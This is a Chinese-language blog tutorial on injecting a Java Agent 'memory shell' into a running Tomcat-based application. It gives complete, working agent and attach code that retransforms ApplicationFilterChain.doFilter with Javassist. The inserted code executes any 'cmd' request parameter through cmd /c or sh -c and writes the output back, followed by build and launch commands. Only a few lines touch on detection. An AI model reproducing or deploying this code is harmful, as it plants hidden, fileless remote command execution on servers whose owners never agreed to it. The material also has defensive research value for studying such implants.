0x00 前言

在JDK1.5以后,引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument。

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够在不影响正常编译的情况实现动态修改字节码,已加载或者未加载的类,包括类的属性、方法。

https://xz.aliyun.com/t/9450#toc-5

Java Agent 支持两种方式进行加载:

实现 premain 方法,在JVM init时进行加载 (该特性在 jdk 1.5 之后才有)实现 agentmain 方法,在JVM启动后进行加载 (该特性在 jdk 1.6 之后才有)

What Are Java Agents and How to Profile With Them

优点:

It’s meant to allow you to change code, altering its behavior, without actually having to edit its source code file.

启动函数:

In short, a Java agent is nothing more than a normal Java class. The difference is that it has to follow some specific conventions. The first convention has to do with the entry point for the agent. The entry point consists of a method called “premain”, with the following signature:

public static void premain(String agentArgs, Instrumentation inst)

If the agent class doesn’t have the “premain” method with the signature above, it should have the following, alternative method:

public static void premain(String agentArgs)

As soon as the JVM initializes, it calls the premain method of every agent. After that, it calls the main method of the Java application as usual.

A java agent, in practice, is a special type of .jar file. As we’ve already mentioned, to create such an agent, we’ll have to use the Java Instrumentation API.

0x01 premain

新建一个项目 “agent”。

Hello.java

public class Hello {public static void main(String[] args) {System.out.println("Hello,main method");}
}

hello.mf

Manifest-Version: 1.0
Main-Class: Hello

DemoTest

import java.lang.instrument.Instrumentation;public class DemoTest {public static void premain(String agentArgs, Instrumentation inst) throws Exception {System.out.println(agentArgs);for (int i = 0; i < 5; i++) {System.out.println("premain method is invoked!");}          }
}

agent.mf

Manifest-Version: 1.0
Premain-Class: DemoTest

编译:

javac Hello.java
javac DemoTest.java

打jar包:

jar cvfm hello.jar hello.mf Hello.class
jar cvfm agent.jar agent.mf DemoTest.class

run(需要指定 javaagent参数,"="后面接传入的参数)

java -javaagent:agent.jar=Hello -jar hello.jar

输出className

DemoTest

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;public class DemoTest {public static void premain(String agentArgs, Instrumentation inst) throws Exception {System.out.println(agentArgs);for (int i = 0; i < 5; i++) {System.out.println("premain method is invoked!");}inst.addTransformer(new DefineTransformer(), true);}public static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println(className);return new byte[0];}}
}

重新编译执行:

报错了,原来是打jar包的时候有一个class没编译进去。

重新打jar包:

jar cvfm agent.jar agent.mf DemoTest.class DemoTest$DefineTransformer.class

运行:

java -javaagent:agent.jar=leeezp -jar hello.jar

又报错了,原来是要修改 DemoTest.java 的配置文件 agent.mf,Can-Retransform-Classes: true / Can-Redefine-Classes: true 添加到 agent.mf 中(注意最后空一行):

Manifest-Version: 1.0
Can-Retransform-Classes: true
Premain-Class: DemoTest

运行成功:

java -javaagent:agent.jar=leeezp -jar hello.jar

0x02 agentmain

很多时候我们内存马注入的情况都是处于 JVM 已运行了的情况,所以上面的方法就不是很有用,不过在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent ,然而 Attach API 在 tool.jar 中,jvm 启动时是默认不加载该依赖的,需要我们在 classpath 中额外进行指定。

AgentMain.java

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;public class AgentMain {public static void agentmain(String agentArgs, Instrumentation ins) {ins.addTransformer(new DefineTransformer(),true);}public static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println(className);return new byte[0];}}
}

agentmain.mf

Manifest-Version: 1.0
Can-Retransform-Classes: true
Agent-Class: AgentMain

编译打包

javac AgentMain.java
jar cvfm AgentMain.jar agentmain.mf AgentMain.class AgentMain$DefineTransformer.class

至此我们的 AgentMain.jar 就成功生成了。

编写测试类 AgentMainDemo.java(在 https://blog.csdn.net/leeezp/article/details/126783259 中我已经介绍了如何新建一个简单的Springboot项目,所以不再赘述):

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;public class AgentMainDemo {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {String path = "./AgentMain.jar";List<VirtualMachineDescriptor> list = VirtualMachine.list();for (VirtualMachineDescriptor v : list) {System.out.println(v.displayName());if (v.displayName().contains("AgentMainDemo")) {// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接System.out.println(v.id());VirtualMachine vm = VirtualMachine.attach(v.id());System.out.println(vm);// 将我们的 agent.jar 发送给虚拟机vm.loadAgent(path);vm.detach();}}}
}

直接run AgentMainDemo.java:

报了个奇怪的错:

java.lang.UnsatisfiedLinkError: sun.tools.attach.LinuxVirtualMachine.isLinuxThreads()Z

原来是我的tools.jar 只有 LinuxAttachProvider

原因是我在windows机器上运行了linux版本的tools.jar。

换个windows版本的:

重新运行AgentMainDemo.java,又报错:

Error opening zip file or JAR manifest missing: ./AgentMain.jar

修改AgentMainDemo.java相对路径为绝对路径:

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;public class AgentMainDemo {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {String path = "C:\\Users\\Administrator\\Desktop\\Java-Shellcode-Loader-master\\untitled5\\src\\AgentMain.jar";  // 相对路径报错List<VirtualMachineDescriptor> list = VirtualMachine.list();for (VirtualMachineDescriptor v : list) {System.out.println(v.displayName());if (v.displayName().contains("AgentMainDemo")) {// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接System.out.println(v.id());VirtualMachine vm = VirtualMachine.attach(v.id());System.out.println(vm);// 将我们的 agent.jar 发送给虚拟机vm.loadAgent(path);vm.detach();}}}
}

再次运行:

java/lang/instrument/ClassFileTransformer.java类的transform方法,要么返回新的class字节码,要么返回null

我修改了 AgentMain.java,将return new byte[0]改成return null不报java/lang/IndexOutOfBoundsException错误了:

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;public class AgentMain {public static void agentmain(String agentArgs, Instrumentation ins) {ins.addTransformer(new DefineTransformer(),true);}public static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println(className);//return new byte[0];return null;}}
}

在实际使用中,因为tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

所以呢我又修改了代码 TestAgentMain.java:

import java.io.File;public class TestAgentMain {public static void main(String[] args) {try {System.out.println(System.getProperty("java.home")); //E:\jdk1.8\jrejava.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre", "lib") + File.separator + "tools.jar");//System.out.println(toolsPath);//E:\jdk1.8\lib\tools.jar//System.out.println(toolsPath.toURI().toURL().getClass()); //java.net.URLjava.net.URL url = toolsPath.toURI().toURL(); //file:/E:/jdk1.8/lib/tools.jarjava.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine, null);System.out.println("Running JVM Start..");System.out.println(list.size());for (int i = 0; i < list.size(); i++) {Object o = list.get(i);java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);String name = (String) displayName.invoke(o, null);if (name.contains("com.example.demo.DemoApplication")) {java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);String id = (String) getId.invoke(o, null);System.out.println(id);java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{java.lang.String.class});//System.out.println(attach);java.lang.Object vm = attach.invoke(o, new Object[]{id});System.out.println(vm);java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{java.lang.String.class});java.lang.String path = "C:\\Users\\Administrator\\Desktop\\Java-Shellcode-Loader-master\\untitled5\\src\\AgentMain.jar";System.out.println("------------");loadAgent.invoke(vm, new Object[]{path});java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);detach.invoke(vm, null);break;}}} catch (Exception e) {e.printStackTrace();}}
}

其中这一行 if (name.contains("com.example.demo.DemoApplication")) { 要根据实际你要注入的进程名替换。

0x03 内存马注入

由于实际环境中我们通常遇到的都是已经启动着的,所以 premain 那种方法不合适内存马注入,所以我们这里利用 agentmain 方法来尝试注入我们的内存马

利用 insertBefore ,将其插入到前面,从而减少对原程序的功能破坏:

AgentMain.java

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;public class AgentMain {/*public static void premain(String agentArgs, Instrumentation inst) {agentmain(agentArgs, inst);}*/public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public static void agentmain(String agentArgs, Instrumentation ins) {ins.addTransformer(new DefineTransformer(), true);Class[] classes = ins.getAllLoadedClasses();for (Class clas : classes) {if (clas.getName().equals(ClassName)) {try {ins.retransformClasses(new Class[]{clas});    //retransformClasses} catch (Exception e) {e.printStackTrace();}}}}public static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {className = className.replace("/", ".");if (className.equals(ClassName)) {System.out.println("Find the Inject Class: " + ClassName);ClassPool pool = ClassPool.getDefault();try {CtClass c = pool.getCtClass(className);CtMethod m = c.getDeclaredMethod("doFilter");// 如果服务端没有 javassist.jar 会是NULL 不会打印值//System.out.println(c); // for debug // print : javassist.CtClassType@697a3904[public final class org.apache.catalina.core.ApplicationFilterChain implements javax.servlet.FilterChain...//System.out.println(m); // for debug // print : javassist.CtMethod@8fc543ac[public doFilter (Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V]m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +"javax.servlet.http.HttpServletResponse res = response;\n" +"java.lang.String cmd = request.getParameter(\"cmd\");\n" +"if (cmd != null){\n" +"java.io.InputStream in = null;\n" +"java.lang.String osname = java.lang.System.getProperty(\"os.name\").toLowerCase();\n" +"if (osname.contains(\"win\")) {" +"    try {\n" +"         in = Runtime.getRuntime().exec(new String[]{\"cmd\", \"/c\", cmd}).getInputStream();\n" +"    }catch (Exception e){}\n" +"} else {\n" +"    try {\n" +"        in = Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd}).getInputStream();\n" +"    }catch (Exception e){}\n" +"}\n" +"java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +"try {\n" +// 方法一: 完美!!! 通过close() 使输出一遍"java.lang.String line;\n" +"java.io.PrintWriter writer = res.getWriter();\n" +"while ((line = reader.readLine()) != null) {\n" +"writer.write(line+\"\\r\\n\");}\n" +"writer.flush();\n" +"writer.close();\n" +  // 输出流关闭操作放到循环外层/*方法二:会输出5遍,具体原因可能与 ApplicationFilterChain 默认的几条链有关,没做深入研究...//"java.io.PrintWriter writer=res.getWriter();\n" +//"writer.print(reader.lines().collect(java.util.stream.Collectors.joining(\"\\n\")));\n" +*//*方法三:sevlet里面可以,在agent.jar里注入这种写法不行,原因未知//"java.io.PrintWriter writer=res.getWriter();\n" +//"writer.write(reader.lines().collect(java.util.stream.Collectors.joining(\"\\n\")));\n" +   //writer.write() 报错,  javassist.CannotCompileException: [source error] write(java.lang.Object) not found in java.io.PrintWriter*//*方法四:兼容性不好,中文不友好  java.io.CharConversionException: Not an ISO 8859-1 character: [�]//"((java.io.PrintWriter)res.getWriter()).write(reader.lines().collect(java.util.stream.Collectors.joining(\"\\n\")));\n" +//"res.getOutputStream().print(reader.lines().collect(java.util.stream.Collectors.joining(\"\\n\")).toString());\n" +   // javassist.CannotCompileException: [source error] print(java.lang.Object) not found in javax.servlet.ServletOutputStream//"res.getOutputStream().flush();\n" +//"res.getOutputStream().close();\n" +*/"} catch (java.io.IOException e2) {\n" +"   e2.printStackTrace();\n" +"    }\n" +"}");byte[] bytes = c.toBytecode();c.detach();return bytes;} catch (Exception e) {e.printStackTrace();}}return new byte[0];}}
}

编译打jar包:

javac -encoding utf-8 -classpath ./javassist-3.28.0-GA.jar AgentMain.java
jar cvfm AgentMain.jar agentmain.mf AgentMain.class AgentMain$DefineTransformer.class

编译并执行测试程序:

javac -encoding utf-8 ./TestAgentMain.java
java TestAgentMain

0x04 利用条件

1.需要先获取jvm进程名,然后选择要注入的进程

2.服务端环境需要导入 javassist.jar

0x05 检测点

1.服务器日志异常,普通的hacker 虽然可以执行命令,但是因为代码不完善或操作失误会引起服务器日志抛出异常,成为一个溯源点。

2.检测内存里的class类名

3....

Java Agent 型内存马调试系列 (一)相关推荐

  1. 基于Java Agent内存马

    前言 前面说完最常见的基于Servlet-API型内存马,这里再提一下Java Agent内存马,像冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,以后用到再分析 大的思路 第一种是通过perm ...

  2. 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...

  3. java内存马学习与理解

    文章目录 1. 前置知识 1.1 java web 核心组件 listener filter filter的生命周期 filter链 servlet 2. tomcat 2.1 核心组件 1. con ...

  4. Goby 利用内存马中的一些技术细节【技术篇】

    一.前言 投稿在 Goby 社区的内存马文章已经写了两篇,在第一篇<Shell中的幽灵王者-JAVAWEB 内存马 [认知篇]>中介绍了 JavaWeb 内存马技术的历史演变.分类,从认知 ...

  5. Java内存马攻防实战——攻击基础篇

    ​ 在红蓝对抗中,攻击方广泛应用webshell等技术在防守方提供的服务中植入后门,防守方也发展出各种技术来应对攻击,传统的落地型webshell很容易被攻击方检测和绞杀.而内存马技术则是通过在运行的 ...

  6. Java内存马简单实现

    文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...

  7. 利用 Fastjson 注入 Spring 内存马,太秀了~!

    点击上方"Java基基",选择"设为星标" 做积极的人,而不是积极废人! 每天 14:00 更新文章,每天掉亿点点头发... 源码精品专栏 原创 | Java ...

  8. 深入浅出内存马(一)

    深入浅出内存马(一) 0x01 简述 0x0101 Webshell技术历程 在Web安全领域,Webshell一直是一个非常重要且热门的话题.在目前传统安全领域,Webshell根据功能的不同分为三 ...

  9. 新型 tomcat websocket 内存马检测与防护思路探究

    最近,看到网上有安全研究人员发布了一篇文章,描述了一款在 tomcat 的全新内存马,地址为:https://www.iculture.cc/forum-post/19128.html,该内存马基于 ...

最新文章

  1. Asp.net SignalR 实现服务端消息推送到Web端
  2. WinCvs里登录出现C:/cvs: no such repository解决方案
  3. python怎么写文件-来看文件处理Python怎么写?
  4. 主题mysql_主题数据库(SubjectBase)
  5. linux 好用的命令积累
  6. 同步通信和异步通信的区别
  7. 如何搭建低延时、交互式的在线教育平台?(内附视频回放)
  8. .NET Core开发实战(第14课:自定义配置数据源:低成本实现定制化配置方案)--学习笔记...
  9. macOS安装配置Java
  10. jsp value设置为函数的返回值_python中的生成器函数是如何工作的?
  11. zabbix agent报错 :cannot connect to [[127.0.0.1]:10051]: [111] Connection refused
  12. _cdecl与_stdcall的区别
  13. linux音频声卡 pulseaudio服务
  14. Linux增加一块scsi硬盘,Linux下添加第二块scsi硬盘
  15. Your app declares support for audio in the UIBackgroundModes key in your Info.plist 错误
  16. Unity中使用插件在地形中制作道路
  17. 小白如何上手几款微信小程序UI组件库
  18. iOS最新吊炸天的资源
  19. Android 12.0 锁屏页面禁止下拉状态栏
  20. ISCC认证的申请条件是什么?

热门文章

  1. vue+axios 实现Excel下载
  2. 用Python获取大众点评上长沙口味虾店铺信息,并进行数据分析
  3. oracle SQL认证考试,sql认证(sql server认证考试)
  4. Ubuntu下载中文输入法
  5. (java毕业设计)OA办公系统(附源码+论文)
  6. 蓝松AE模板SDK使用介绍.
  7. 理解 B 树、B+ 树特点及使用场景
  8. sql计算除法保留两位小数
  9. AtCoder Regular Contest 084
  10. html兴趣测试生成图表源码,用 Pytest+Allure 生成漂亮的 HTML 图形化测试报告